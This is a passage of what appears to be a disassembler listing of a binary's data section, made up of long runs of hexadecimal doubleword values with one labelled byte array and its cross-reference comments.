dd 683A0043h, 0C8557A34h, 0E8004B42h, 597511Fh, 719EE7Ch
dd 5C9FE627h, 0BF2A9008h, 2100034Dh, 0CE8BB96h, 756E3624h
dd 0ED4617B4h, 8C650009h, 0D41C87ACh, 3F00FC78h, 578617EAh
dd 59A79Eh, 40233666h, 0FB011AFh, 1D2AF407h, 0B7A055DDh
dd 6CB2A8h, 0A7D55A65h, 34A339E1h, 0E7BEED0Eh, 0EFC0E00Dh
dd 0FAF6B9FFh, 0C1EC1354h, 0F95500F0h, 3DFA9394h, 3E5B5E00h
dd 0F3734A9h, 0B51B007Ch, 0ED1E2B91h, 93E8BD1Ah, 384E800h
dd 0C36C5B3Ah, 576D00EBh, 8AF74BDEh, 0BD00C4D3h, 0CCFDED81h
dd 271F2Ch, 11C7F406h, 649B9856h, 2A32E300h, 173F50C4h
dd 0D155010Fh, 6A133A0h, 0E8B820ADh, 8354Ch, 961D5129h
dd 0F94FF64h, 0CBD4B02Dh, 378A28A0h, 90795CE9h, 9FF33A3Eh
dd 8200DE7Ch, 4DBB0B36h, 3F851EE8h, 0B5B24039h, 0E29991E3h
dd 7120FA4Dh, 0BB303273h, 0AA346A20h, 3A850180h, 1078E02Dh
dd 0A4F8C7B7h, 550031ADh, 0B67A9996h, 77F951h, 683DE08Dh
dd 0B9368B0Fh, 3F766F00h, 6C20D0D8h, 985E0E3h, 81B7F3C3h
dd 0A9BDE803h, 0DB287B98h, 0F601B8F8h, 56456DE8h, 0AAFCD4D6h
dd 86AC2E85h, 0AF1F0017h
dd 0F349CA14h, 3607BC90h, 0D82F8AD4h, 0CE658F00h, 48760FE1h
dd 0B700FBD7h, 7114C511h, 24B3B93Eh, 9300345Dh, 36E0FAD1h
dd 0C171F12h, 0FF0E407Ah, 2A34439Dh, 0A9C8C300h, 92139839h
dd 6993001Ch, 37117854h, 9B0F03D6h, 0A0803D77h, 443F0DF2h
dd 0E98800CCh, 92ED407Dh, 0FEED1E61h, 57B0CC90h, 2F12AF12h
dd 6B790402h, 0CE66C0F0h, 0EB4D0078h, 90D86AB7h, 0B6008AB3h
dd 8D65BD74h, 3895046Ch, 3180E43Eh, 0B955308Eh, 0C50FE0A3h
dd 20473A80h, 96D165A2h, 86E900D8h, 1A22CCAAh, 0B4004ADAh
dd 84A05711h, 129B77h, 17E4D7BBh, 5E0A6979h, 3DEE5C03h
dd 886EC895h, 3B342E15h, 6B80BD55h, 0E3F39E53h, 8001EC1h
dd 0ADD4AB9Ch, 309AC71Bh, 24D19388h, 7814F74Eh, 1C408E9h
dd 0E29B1C6Eh, 71F0A32Fh, 0F10A00EAh, 60ED8AE5h, 780786C2h
dd 444B4E13h, 7DFBA00Fh, 5015FCh, 1FC894E6h, 3DB9B7E1h
dd 93843600h, 0B6BA32E7h, 57351C1Eh, 20720D7h, 2B63D103h
dd 0B0437EB5h, 0E8D56D56h, 1CFDB379h, 2CCE899Eh, 47BC0048h
dd 72AB6C33h, 8F3C5B18h, 0EEA463A8h, 209292h, 27451E15h
dd 2B447665h, 2814A91Fh, 80BE630Fh, 58C83BD1h, 3A3F0067h
dd 1E7D0E72h, 400335A4h, 9C065FC7h, 0B802E042h, 0AF6E338Bh
dd 0C800798h, 10013F49h, 0BA377BC0h, 25F0FE24h, 0CC840520h
dd 0A55BACh, 92950E48h, 5DF8B483h, 0E581B01Eh, 77540580h
dd 59337BCFh, 30AB04Dh, 80B8659Ch, 2B423C7Eh, 0AC00B518h
dd 4DE47C28h, 0C53AC0h, 566ECD4Ah, 0B99A91ECh, 27C39F00h
dd 0CFA92190h, 2F5D008Fh, 66E10918h, 9D00481Eh, 2EFA36F8h
dd 0F073863Dh, 63170049h, 5C7555F1h, 0A300AEFCh, 4EC29715h
dd 962A02h, 88938E17h, 0ABDF670Fh, 0F6CDE500h, 0AE29AD5Eh
dd 0F8AC0521h, 9F3ED5h, 8EC9B7E2h, 0AD00EA3Ah, 6FE5683Ch
dd 0DA0A19h, 81415BF7h, 8F1863D5h, 9E56A201h, 0EE483CE9h
dd 0F1F6DE4h, 64AB477Bh, 27837D40h, 0A400164Dh, 1790E572h
dd 0D7EF18h, 0D6F97EFDh, 0F55B846Ch, 9821BA05h, 980161E0h
dd 438A344Dh, 0BC50A454h, 0FB1CE004h, 1E28C0D8h, 0F93FF5BBh
dd 93AEC414h, 0D58A00ACh, 1CFBFFACh, 678C038Eh, 57F61D72h
dd 44FA2939h, 927344A9h, 22687B20h, 46504290h, 0EC44F128h
dd 0DD14A0A6h, 92204063h, 85DE2284h, 0A5E410EDh, 0BC44009Ah
dd 0DF8F3AB9h, 0C4B02DBFh, 0D10050F0h, 1A2B9807h, 0A0BE57h
dd 7EC5D706h, 1FA274EBh, 0DC6EC400h, 0BCCC4CD9h, 0AD04075Ah
dd 10DB9067h, 0A3387AD4h, 5922D307h, 0C0BE7D47h, 94D043E8h
dd 0AE8602BDh, 5D21198Dh, 1D64ECC0h, 1FA39540h, 8FA827E2h
dd 0C6A38E07h, 2100EE52h, 18DF3B4Fh, 151408C7h, 0D003E5BBh
dd 37DEBD00h, 0F4C81A67h, 0DDCB0400h, 73C3F0A2h, 63440E0Ch
dd 6FE69C3Bh, 0E4FAAE7Eh, 64798A00h, 0B04F545h, 0B1A20055h
dd 486E9DACh, 0CF245446h, 4E83F4E3h, 0F0A2EA58h, 0E20CD0B9h
dd 387C35h, 0E15BB1C7h, 0F74D3A0Dh, 0B576FA1Dh, 1100F0ECh
dd 0D31E1A12h, 0B1EA00A2h, 4195128h, 0A07F5460h, 0ECA3C903h
dd 0A8A59A0Fh, 77977Ch, 96E0594Eh, 1F6C3CE2h, 87D7D100h
dd 0D07CAD29h, 1DC77CBh, 0A52C5543h, 70547ACCh, 0CDF046DCh
dd 397B91F8h, 0D80EC22Ch, 83A0E600h, 18315CA1h, 1990EAF2h
dd 8705EED9h, 5310BCB7h, 6A33DC80h, 0F79E00C3h, 0C9690E93h
dd 0A70081DAh, 0CE3964F1h, 233F515h, 0C72C7452h, 6A40186Bh
dd 0D4B0B05Ch, 65FDFF00h, 37912812h, 0E134009Eh, 0CF645FBBh
dd 0A1003E4Fh, 924AB013h, 5AF1DF6h, 0E3D17D71h
db 4
byte_520045 db 0, 0DCh, 14h ; DATA XREF: ___:004385A0o
; ___:004385B8o
dd 5C976EA3h, 8FA4D40Fh, 0F884F3Eh, 0F60937h, 73B12B41h
dd 9D3300CFh, 10A847C8h, 52FE23E9h, 535FD600h, 5921CC69h
dd 0EB010B83h, 0C000C59Bh, 0A55284D8h, 0AEE09494h, 1A6F57h
dd 0F8E2D786h, 94D19FA4h, 0D9317713h, 0E07211h, 0AD3E4082h
dd 160F51Dh, 0D39D88A9h, 2401A429h, 2C00A830h, 0DA16A3C3h
dd 0C25532h, 0B5670907h, 269E237Eh, 47E89F1Fh, 40FA80BBh
dd 0C8AD0E2Fh, 6C5D00E2h, 94B211A9h, 904CA085h, 1F78091Ch
dd 629821D4h, 7EF9DCDAh, 7915FDD4h, 0F7E60076h, 80CAF557h
dd 0F0001069h, 7B0A3D1Eh, 2715FBA6h, 1F60E6B0h, 9A009218h
dd 9374637Ah, 78D16236h, 0E2C300C6h, 0FB511A33h, 961C0167h
dd 28010E8Fh, 3C0B23ABh, 5382CCh, 184354Ah, 0B313AACFh
dd 9A197E00h, 82029BE9h, 116B0F25h, 0F640206Eh, 0F350B5F8h
dd 59CA7209h, 319800D4h, 0B788E7Fh, 0D82D532Ah, 79E4A080h
dd 0E312521Dh, 680013E2h, 14128CEEh, 85700042h, 7FB4A821h
dd 442C5007h, 0FB0A3679h, 990EFB5Eh, 2C0093B3h, 0AC544188h
dd 0A6D60148h, 397CF4A1h, 68FF082h, 4720DE00h, 0A30A532Fh
dd 190900B5h, 9BE0E172h, 3D00298Ah, 0BBB46C0Dh, 12F75B24h
dd 817006h, 8AFDE92Bh, 2B003936h, 5A720D6Ch, 416407h, 0D291A060h
dd 77BF2E27h, 0EF60807h, 49436602h, 618192FEh, 0D82994FCh
dd 28B4C202h, 24400C42h, 2C9010FBh, 85A13C04h, 7CC0B572h
dd 27F0111h, 16679364h, 70607BE3h, 2E000313h, 921B0754h
dd 0E1D529BBh, 8DD8101h, 0CA6C3CFCh, 7D02DA00h, 31F10C3Dh
dd 999A5500h, 0B489A614h, 0B754094Ah, 908091D2h, 104FE2CAh
dd 1E09E303h, 130E888Bh, 0CCF32F0h, 5040F0DBh, 0B42D8609h
dd 7A91A0B2h, 0F2C44E3Bh, 0EB9800DDh, 6A03833Eh, 0D00035B8h
dd 0ED814D1Fh, 652E90h, 0FFA7746Fh, 4751CE7Ah, 0BB21E403h
dd 0E0F5DAAEh, 0E095BD07h, 1DE27799h, 40F43E98h, 128F0D69h
dd 6A0E51B8h, 628962BDh, 55994657h, 50E4C640h, 31493Fh
dd 9C52D4C7h, 0C115A4h, 0D2FCAA43h, 9D65B986h, 8EBB5B03h
dd 0B0E98C99h, 0B30C14h, 23810EDCh, 0F183879Bh, 8C55A300h
dd 7D0A9579h, 0B05490D6h, 0C5B51C86h, 0A5817C3Dh, 0AE303E5Dh
dd 1FCCE43Ch, 5178709h, 1BCB079Bh, 0F7495E70h, 223E47Ch
dd 5C9912A2h, 7460CC5Dh, 2C128475h, 540033E8h, 7FB9FD54h
dd 6AFC60h, 81725F67h, 0D7DEA34Ah, 0AC73B07Eh, 565DEE04h
dd 50801D3Dh, 0F21120Ah, 0E79C6387h, 7C37F5E0h, 46009DADh
dd 0A1225E16h, 1E6E3C09h, 40317588h, 0EF19BE45h, 0EC98489Ah
dd 4CC24700h, 844DBF21h, 0CE6500E2h, 0AE11F601h, 0E0007149h
dd 19065534h, 727F7B91h, 8B2B006Ah, 96CC66E6h, 0A40062AEh
dd 1A50749Dh, 0F4DEB8E1h, 0F18500E2h, 30AB9BCAh, 0EE00FA55h
dd 0FC9F5097h, 95046Ah, 403B80D6h, 0EDABB971h, 0D2006B90h
dd 8EEFC105h, 4869AD82h, 7E01A07Ch, 4A8F30B4h, 6A108995h
dd 0B021009Eh, 0C8FFD4h, 12C2D206h, 4887D377h, 0C9B5140Ch
dd 9B7869h, 1344393Ah, 0B35F5E97h, 6C74F51Ch, 6B208A98h
dd 5039002Ch, 251F0248h, 0A800B22Ah, 0E1DEB065h, 6F6003h
dd 390CCB18h, 55951BE3h, 0D48F0B00h, 0BC6796E9h, 4BDCBA46h
dd 4FC0235Dh, 0F698F7F8h, 0BFF23200h, 0AEAB6906h, 27DA0192h
dd 2C5B8C79h, 482CE3h, 0FDB38BF8h, 0AF2734Fh, 5B229C19h
dd 0CD1B00D8h, 513B17C3h, 0F126B11Dh, 4441E11Dh, 5B164B43h
dd 76649056h, 724601AFh, 0B8563BB7h, 2D582405h, 6C91FA00h
dd 0CDB135A3h, 45D90FC5h, 5F01A66Dh, 0C0AF9687h, 0F70EFE63h
dd 40A5714Fh, 0A60B412h, 342A003Ah, 9E44F424h, 9C081109h
dd 0F3592C4h, 0AD2566BCh, 0E408CD3h, 0E9880A00h, 835D36BEh
dd 5DF0071h, 3A32AC1Ah, 8E00F8CBh, 65ADAEAFh, 3F51CA39h
dd 0A4007F2Fh, 0F826294Dh, 8D00852Eh, 8CFCA190h, 0B0FAFF67h
dd 6C2F0094h, 23D443Fh, 0E013EB09h, 920E7C27h, 0D56DA004h
dd 0B5A055h, 8B16B018h, 5759FFAAh, 3900CA7Eh, 0D5445483h
dd 3955A6Ah, 582EF012h, 80ED1B45h, 0A961DBA4h, 0E40C8A00h
dd 71DCA2C0h, 73A601AEh, 26236E35h, 0A354ECCBh, 0AFBC9806h
dd 16F9AAC2h, 0AD88F7h, 6746EEB8h, 0FB3E09EBh, 9D6E0075h
dd 0BD7CA2BCh, 2BC20F7Dh, 0CC6EE57Bh, 713DC327h, 2049F508h
dd 7400C458h, 831E271Dh, 0E15C7Ch, 45549551h, 0B52EA76Ch
dd 0BA06CA00h, 68A51727h, 0EB9D000Eh, 45AA87D5h, 405C307h
dd 0B3DE601Ch, 7F6024C7h, 2D3306h, 0A4D8FF16h, 0C446B1A6h
dd 60634D00h, 2CD41E9Fh, 9EEF1DB8h, 4824808Ah, 4A1C3176h
dd 4C3648h, 7A5366C4h, 488D5CC7h, 0CC2C2710h, 9C3D0B50h
dd 0D0BA2F80h, 0AF020216h, 15CD8EF7h, 4B6060F9h, 0C12A000Ah
dd 0DD230309h, 0B916D10Fh, 4C00FCF8h, 0BE0CBF51h, 7860592Ah
dd 4E2E1500h, 4CB613Eh, 5D076C98h, 1ECEC377h, 5501E0CFh
dd 3302416Dh, 4D2007ABh, 0E71C9A88h, 0A8630F09h, 0FFDF07D8h
dd 4F213ED0h, 6DDF3DBFh, 0B661AF82h, 0E480700Dh, 49F2F8C8h
dd 14540E03h, 0B903316Dh, 3EE0B4ECh, 21F0766h, 41884F20h
dd 0F0181A90h, 5B7C35A4h, 650D7300h, 42E481C1h, 44792C8Bh
dd 0A7E90005h, 187AD5E1h, 800CC938h, 289AD63Fh, 0E41549EEh
dd 0F8961268h, 0DC1ECCh, 0E5169C58h, 0A9001381h, 0DAF184EDh
dd 0D89CB39h, 8530A0D0h, 0BA8C05B2h, 0B7FA7AC0h, 7238099Eh
dd 83015668h, 0C70EB5A6h, 986FC0B7h, 0CF264FE0h, 150022BFh
dd 0DEAFC93Ah, 82D9A06Dh, 2D3E00AAh, 0DF20E19h, 920038A7h
dd 2A700349h, 121DD520h, 75D898Dh, 0F07FD784h, 0B0AE0FDBh
dd 0C75738h, 60FC8C98h, 1D0523h, 36D9C1F4h, 3E537ECAh
dd 0AB016D06h, 0A0120FB3h, 0FC28EA1Ch, 1157004Bh, 64161209h
dd 0E1EEC503h, 8B493006h, 78210Eh, 0C61ADADEh, 6C718660h
dd 827AB0C8h, 31E4E943h, 4478C4EAh, 0EE6AB700h, 6E87E74Eh
dd 80C500D1h, 865944CAh, 0CCF39604h, 0FD721BEDh, 78C78B1Dh
dd 0B8ADCEh, 0F82C1D17h, 87F70073h, 0AA70D77Ah, 240706FDh
dd 58F4BE15h, 8D54CB53h, 0A075B0E0h, 5B5E2044h, 24C04B0Ch
dd 80A45D08h, 0F3C1E289h, 0F5006944h, 277B29E5h, 0C9E835Eh
dd 4BF16231h, 4228C0E8h, 0A005B08Eh, 6DD1D3A2h, 8CC1D301h
dd 9EDC0D33h, 8A9A005Bh, 0B7F84026h, 7158E4CEh, 0E38907DDh
dd 204CC917h, 1B970F64h, 37807B7Ch, 6B322BCFh, 755B7001h
dd 84949D12h, 0B427B0D7h, 90790B61h, 0A581E13Ah, 0F825A15Ah
dd 0F839C2A5h, 8041BB89h, 0A9AC84DDh, 988FBCCDh, 6A06010Bh
dd 46490DA8h, 503CBDh, 0C7BA31ECh, 31D52EFh, 14760E3Dh
dd 19B6C73h, 1E41D2C8h, 1D7948h, 8AFEB484h, 61B571h, 77297FE6h
dd 33014617h, 8F00C4ECh, 0C567CA0Bh, 8695BEh, 55DDCB2Fh
dd 0B101D646h, 51FE7603h, 0E06F6BF9h, 28CB94CAh, 41A08C0Bh
dd 4383696h, 1BEDF30h, 77F030C7h, 3890E855h, 0A281A528h
dd 6B7C4980h, 0A9DEF861h, 400001F2h, 0CE7BAF77h, 0B8354CE0h
dd 7AAE1E99h, 256340D8h, 15E73EBBh, 6605DA3Bh, 10A1B6h
dd 0FF1D9B53h, 0DE87ED2Fh, 17D39D00h, 207A0C19h, 214B8C0h
dd 66A6BA67h, 0F8C8AE58h, 0A2606157h, 0D6B14240h, 0D96F1682h
dd 3FF00028h, 914CACFCh, 10BF1200h, 0AD09B984h, 53E00Fh
dd 3A0C58D6h, 0D1CA0362h, 83E38103h, 8823F4B0h, 2C311Bh
dd 0B5EA9382h, 9B6A6188h, 0C7D50A0Fh, 92A90477h, 0B0C00EC5h
dd 7D1F2FAh, 34538F64h, 0B1670F40h, 0BEB880FEh, 6D4AC7CDh
dd 0F595FC00h, 12CDF4Ah, 0CC14EAC6h, 8EB59DF1h, 20814010h
dd 474A9CABh, 0D61F002Fh, 7A4D35E7h, 0E3F295CDh, 2C30BA00h
dd 0AA6D9F1Ch, 98DD17B5h, 0CE181434h, 4D202800h, 22F4A6D6h
dd 64CB0717h, 98645C8Dh, 0C01117B6h, 0E905C06h, 664FB733h
dd 175F4080h, 6505CEB3h, 875D4F38h, 79B094C0h, 0C0C04D6Dh
dd 0FD074701h, 0F8EA135Bh, 65EC09B2h, 3A3DA090h, 13C95C27h
dd 22076F1Dh, 4AF0C9ACh, 0EFA4490h, 4D267A8Ah, 30686CA0h
dd 7F007ECBh, 6140F3BAh, 0AEFC24h, 0BCCC574Eh, 0B2C24A56h
dd 0FF6BD000h, 0E1759084h, 550A1635h, 0A9D4008Eh, 0CF45093Bh
dd 870F9B2Dh, 66C08604h, 0FC3D3957h, 241FCFFh, 6C17A3E5h
dd 70C92088h, 2B4AC4FCh, 1C00C54Fh, 1EEAF685h, 0FE75B2h
dd 9489B874h, 3C53E8E0h, 2B951C00h, 4BFA2138h, 63200091h
dd 45F0B927h, 8C04E2BFh, 0FDA669ECh, 5B87EC80h, 0C3318028h
dd 10C0789Ch, 7A627B3h, 79CBD9E6h, 0C4D5CE57h, 0B136C300h
dd 0B866F6A4h, 0F2F3EE03h, 0E8E88A4Fh, 44249Bh, 43FF6FD0h
dd 0B97F87B3h, 1300EE74h, 2384F007h, 30FA770h, 14E95B31h
dd 2000A5B2h, 0ADC62B7h, 9883DBh, 26656695h, 47850E4Bh
dd 1F198C00h, 0DFF56CEBh, 0DE144C61h, 41910C01h, 0EC9209A6h
dd 0E3004950h, 2ADEBBA9h, 2393E4h, 9BF1CE5Ah, 0D1C8E147h
dd 444B1900h, 5F7069C0h, 910625C2h, 0EDD70C0h, 0D23C8400h
dd 6A1A9EE8h, 0D1930104h, 149CE6D8h, 4C807FD3h, 0C5DB63h
dd 8DEBBA18h, 77FADE5Dh, 95C3C100h, 9E2D2E71h, 54101A2h
dd 0BB9DF760h, 9C60EEE5h, 0AA00EFBFh, 7CB838B9h, 735ABC9h
dd 3CDDD75Dh, 179F10C7h, 3A00B9DCh, 6903DFA9h, 161A50B5h
dd 0E930E2Ch, 44C29F3Ch, 77400A20h, 4E02C845h, 69EF837Ch
dd 0F9DC8003h, 0B91F33h, 1EA3F401h, 5D968790h, 0AE04B000h
dd 0D4817A67h, 8E5000B6h, 0BD37C411h, 8A00F920h, 4C046E6Dh
dd 550BFEh, 0CBCF8F57h, 0F63471B2h, 3466339h, 0E3B09BEh
dd 2311009Bh, 7D88DC06h, 323CC789h, 4AF400A1h, 91C5E854h
dd 14989562h, 0CB5B71A9h, 3E40101Eh, 68B2CD5Ch, 0FDFB024Dh
dd 52B02315h, 78A6EAE0h, 0F9F02900h, 0EC6CC4F6h, 517012h
dd 17042EF2h, 5AFF61DAh, 0DE3A8B12h, 0F0F19200h, 90C51CD7h
dd 68551D67h, 1B2F87EBh, 4E996085h, 3BF0DF9Eh, 18153Dh
dd 776A324Ch, 5AF13Fh, 0D9A349EBh, 455016ADh, 4000E07Bh
dd 53A1B262h, 2C21DAA7h, 4D00E09h, 5F33FF9Ah, 6081905Fh
dd 98356873h, 2840FC45h, 69D6B88Dh, 0CF6500E4h, 6DF582E3h
dd 403DE224h, 963FFA2Dh, 616980B4h, 22D2E104h, 3DE80210h
dd 0C1FA0123h, 0FF0F9C8Bh, 851C0E80h, 0B800C4AFh, 0E7E3C94Eh
dd 0F030D9h, 0BAAA5844h, 0CF7E0506h, 29286907h, 30214308h
dd 0E0EF5920h, 0BE8DFFh, 485E3334h, 0F85CA916h, 14BCA800h
dd 0A647BACAh, 0DB7AD5h, 97CE33F4h, 635E3494h, 45913200h
dd 9ED29FC0h, 0F30909FAh, 8318B6h, 0CAF05149h, 8500F40Ah
dd 2BFE1EE2h, 0ED80D8h, 0E1F95006h, 63B0C44Dh, 0EAFFAE03h
dd 0B875933Eh, 3D157380h, 0F64401h, 9490A07Ch, 0D636C2D1h
dd 6720507h, 5170B492h, 0E6172DD7h, 5B113D68h, 0BA104D8Fh
dd 4BDF9A80h, 0E20EB1A0h, 0A3CAF901h, 0D841F282h, 772ABF55h
dd 4AF103A4h, 74262386h, 47789F98h, 75490900h, 7A3E2479h
dd 20420254h, 25596A58h, 0A37EFF87h, 0AFCC6741h, 22446180h
dd 6F60003Eh, 3DA8B2BEh, 3C6E737Dh, 6A74360h, 3B70B6F6h
dd 75800177h, 810739C4h, 18CCEBBDh, 440F11C5h, 67811C9h
dd 0E8D648h, 73A7A63h, 0A9B550h, 0CA5E3856h, 0AFF6DFBDh
dd 4A115B00h, 75B02122h, 0CFFCC5h, 73E7E8CEh, 8BAFA7FCh
dd 0F46D400h, 0D24887FDh, 0A9B62A5Bh, 1E3F7280h, 0A5F19Fh
dd 5ECA2EE3h, 50E82638h, 3F10E20Ah, 590A10E1h, 41001C8Fh
dd 0A80EFD17h, 0E80205D1h, 0C03843D9h, 1BBC8316h, 0CF3C1305h
dd 0CBC0DAB1h, 0B48AE5Fh, 0AAAC192Ch, 0E1A1B80h, 0C83F7F7Ah
dd 80B4B963h, 62CBC043h, 873E05h, 0E26728E1h, 2B895C21h
dd 33BBD100h, 3643C582h, 5EA900E9h, 0BE087856h, 9500E887h
dd 98969D60h, 1F25A417h, 0EE7CF8h, 0BAD61CAEh, 0A91D57AAh
dd 558046F2h, 1054E343h, 4A3300C5h, 1ACE76C3h, 2D000B8Dh
dd 5F36D51Eh, 0D06101h, 60B0551Bh, 0E89C40A3h, 0A403E600h
dd 7548B28Dh, 1574387Fh, 5CD66187h, 33A1803Bh, 9500F771h
dd 2E3CD75Eh, 0FCB23160h, 196E152Bh, 0C430A0BDh, 0B7488C80h
dd 3F33D4B0h, 7F70867h, 96CE621h, 3872012h, 1A1FF1EDh
dd 24A0FA4Fh, 4030ECFFh, 52EF5A5Ch, 0A849C51Fh, 0F4A92C07h
dd 7263B3E0h, 0DBAD027Ch, 282AC042h, 20809CE2h, 0CF347DB2h
dd 1FAF40C0h, 1ACA95h, 2C5C789Eh, 21C04011h, 398BDF01h
dd 0A5C518A6h, 79F12080h, 99826922h, 270820A7h, 0D949C00Dh
dd 3D60A98Dh, 0B2720AB1h, 26A80338h, 5FA7AA55h, 0D9220818h
dd 6B6720h, 94629B2h, 68CFD32Fh, 161D4092h, 8F43751Ah
dd 7A6AB85h, 0DFC75964h, 0D94861F8h, 76344881h, 0A81CB204h
dd 18325986h, 0B26F6320h, 0E2573A84h, 74BA6181h, 8316A891h
dd 487B921h, 4557A0A2h, 0E10F3C68h, 0D97DC081h, 0D8CBB85Eh
dd 0C830EC13h, 1792A199h, 6AF600EAh, 0FB275E91h, 0C0076E2h
dd 0A614B0B5h, 761626D1h, 20800059h, 2E7A4F0Dh, 98061BAEh
dd 0F3026CC0h, 52A40948h, 1480E638h, 7C9D0779h, 2806EA3Ah
dd 0A400E494h, 0FCE6B234h, 0C25BD12h, 10A9565Fh, 400397B9h
dd 0DAB23E9Dh, 22BA873h, 4F3F1F0Ah, 0CD1DFD85h, 297C841Dh
dd 270C80BAh, 0FE49756Bh, 0A91013Ch, 0B70A850h, 12112424h
dd 4EA6261Dh, 7D1473Ch, 0C93005AAh, 8040A0D5h, 4280B1E7h
dd 103C9077h, 6245893Dh, 32B4D60h, 410024A7h, 235BEF3h
dd 74260B44h, 0D031017Ah, 0E5EC9271h, 0B6698642h, 5830DB9Ch
dd 0D60C912Ah, 8411C9D3h, 4A7E8F00h, 26C566E2h, 0C4353A59h
dd 5E21B030h, 0B6007E83h, 3DAD278Ah, 0B845FDDFh, 0A3F1295Dh
dd 7E8B0124h, 1886E25Eh, 9F9A88B1h, 994E7E00h, 521F1025h
dd 854D01AAh, 0C5B34E5h, 0D178345Ah, 0DD281AB0h, 3E07AC42h
dd 59AF02DBh, 9CD4D634h, 150F404h, 41E63430h, 1559C423h
dd 3000B843h, 0BBF7E6AEh, 1B021A15h, 6D4C4A0Bh, 0F2046919h
dd 8A0E8h, 6313CFD5h, 84D899FEh, 0B3E494A5h, 4E6E1C60h
dd 66C85315h, 368C01E8h, 0B3F26F1Fh, 9A329CECh, 2694664h
dd 4889105Fh, 10DB316Fh, 2E1057FFh, 0EDB42Eh, 0C1A72555h
dd 9B1D0A18h, 29B0E46Bh, 6964BBDh, 10744F5h, 5F4668C2h
dd 1E105516h, 34FDD560h, 96D80DEh, 79FA5756h, 0FB0B5000h
dd 11EAB486h, 0C43E05D9h, 40400C34h, 0AA68E2ACh, 0B1007A7Dh
dd 9A5BF1F0h, 16F76D5h, 1C221444h, 50AED3ECh, 3986E690h
dd 37CB300h, 0C622365Eh, 9FFE1C83h, 734E8326h, 71E83787h
dd 5349C097h, 0E61D80E4h, 8C51C478h, 31894A60h, 12DE6A3h
dd 3B5FFBB1h, 0ED639BDEh, 0DA2EF001h, 656C80C1h, 0E980A772h
dd 0B3A2C93Fh, 480141CAh, 0DA281693h, 65DE6E7Bh, 6018E4B4h
dd 7155206h, 0B7E53AF9h, 23AE80EEh, 30B1A7EDh, 0C9813804h
dd 0A98EE4C0h, 0CA89DCC0h
dd 0C0D06A2Bh, 48881058h, 0F7225746h, 10500200h, 6A650564h
dd 976D093Ch, 6420F904h, 0D754A1DEh, 526CC300h, 252C47CBh
dd 0B03D077Bh, 0D27A834Bh, 4C4867CFh, 0B500021Bh, 31D651F5h
dd 0EC0791BBh, 9DDB0065h, 0B6E75DEFh, 0E629528Fh, 0DB715409h
dd 4C007118h, 7CFD9F06h, 798487C3h, 0F6190470h, 0CC04A3C9h
dd 48CAD48h, 0E25F7E8Ah, 20AD620Eh, 9F7E828Fh, 12D47048h
dd 180473E2h, 1E31015Ah, 0E9C4F0E6h, 40220643h, 0E6B03200h
dd 8F6B777Eh, 130200D4h, 4033DDAAh, 0FE0C8278h, 70DED523h
dd 77160CF0h, 0D4A82058h, 7E8D3E8Ch, 0C436E288h, 6440B564h
dd 0CA917E81h, 0DC54B800h, 86D8E207h, 3F9401F6h, 0A885CFE1h
dd 0E10241Ah, 3724B300h, 7B516E92h, 2ACA0761h, 51F65769h
dd 82D6A703h, 42FE2459h, 11E868A5h, 0F549EBh, 0BED65860h
dd 0BD7F6667h, 30A8194Ch, 0A66B39D9h, 56C82432h, 0AE1EBC00h
dd 0F5830ABAh, 0B5467CC4h, 71F31300h, 85E0CBC6h, 0C0B14509h
dd 743C84D5h, 8A096260h, 0FE674810h, 0E480F5C8h, 0F926105Ah
dd 529500C1h, 0B5EF2BCAh, 5402A607h, 3811D9FAh, 15202E46h
dd 0CCB720F2h, 0FC52D898h, 0E2450080h, 0AA53FE1h, 40390024h
dd 1CF3DBEEh, 0A37C125Bh, 78285E1Fh, 4181069Fh, 9318ABC0h
dd 2AFC34h, 219DB6BEh, 37A3D7DBh, 0F533A500h, 6C355A8Bh
dd 27B32CF0h, 23DE8F74h, 0F8FF59E0h, 0B100CD18h, 4CCB0842h
dd 0DB1E91h, 0F45763A7h, 70C70E8Ah, 3D93E4EFh, 6F1BEE00h
dd 121AA9A8h, 0EF441274h, 53CE0040h, 0D4397D85h, 3A789FFCh
dd 261C3Ah, 15628A78h, 5D9A7787h, 0A7033828h, 82F796A6h
dd 4F7CDBD8h, 0A8200407h, 0BF30274Ch, 110FF3h, 8B197958h
dd 0FDCC568Dh, 0D092967Fh, 2DC9D00Fh, 5850A070h, 632B924h
dd 284CA6B8h, 0AA018129h, 0A33DBA92h, 0F1FC2C0Fh, 8054B0D3h
dd 73FE7E4h, 5C3ECF16h, 0E4EF0D7h, 92078B08h, 9C55FB13h
dd 0A0FAB520h, 6DC00EEh, 496D794h, 3126D2ABh, 1002A775h
dd 604192FFh, 0A8163A39h, 0F728A0h, 0ABF23CC9h, 0D994459Ch
dd 0D931A00h, 9E17C4FEh, 23C910FCh, 8D830139h, 0DA625DBh
dd 0EF47418Fh, 0B7D5FA21h, 0CEEF30D8h, 0B310C80Ah, 2300E0F1h
dd 0C3967E86h, 51EA1F2Fh, 599FC02Eh, 0CD1A8792h, 7C1CC40Fh
dd 0F29080BAh, 54BF4E8Ch, 0BB80DEh, 37C1A53Bh, 34881762h
dd 82905D3Dh, 7B7678B7h, 80C082CDh, 0E3A0A0B6h, 185FD9C9h
dd 81CF21F6h, 8A0FF502h, 810AD406h, 7BE29EF4h, 0A682E05Bh
dd 40F478h, 0A017232h, 0F8545C0h, 81803086h, 0FF65FCF8h
dd 0B307C969h, 0CD3EA281h, 64D4D800h, 809B0098h, 0DD30A779h
dd 0CB745796h, 7E00F0E6h, 0CFB128F7h, 68E4C5h, 56201A18h
dd 0C848EA16h, 0FD74DB07h, 3491E931h, 4A30B7A6h, 0FFB90068h
dd 0E3C7DCCBh, 0DE007BAEh, 10A4CE9Eh, 0C784D31h, 0B46E1958h
dd 650A871Ah, 8F77AE54h, 0FE5D803h, 47BBF8A4h, 7B4670B8h
dd 9E8D3D32h, 4044CD03h, 0EC8075F1h, 21122963h, 0D6E81B01h
dd 20D83318h, 0B9E0CBACh, 0D2F34500h, 0F2D0AB1h, 0CC92209Fh
dd 78756413h, 33E19100h, 5E63B4D4h, 38BAC0C1h, 7E390EBAh
dd 8019BA84h, 1411BD10h, 0C0E134C7h, 57E3D160h, 9100B416h
dd 5405EFCh, 0CC4749Ch, 4B1A0D19h, 0D1B07DA9h, 93354F03h
dd 0D0CBB683h, 0E475E0Bh, 0D59D5DBEh, 3045FCA0h, 0D005CC93h
dd 0BDC62131h, 462C2038h, 6CCC015Ch, 91550DC6h, 2920D880h
dd 0AD7E7916h, 0C51D40E2h, 3218ACD0h, 211321h, 73868816h
dd 0B4F24553h, 9188D550h, 9476AC00h, 62D1302Bh, 81573395h
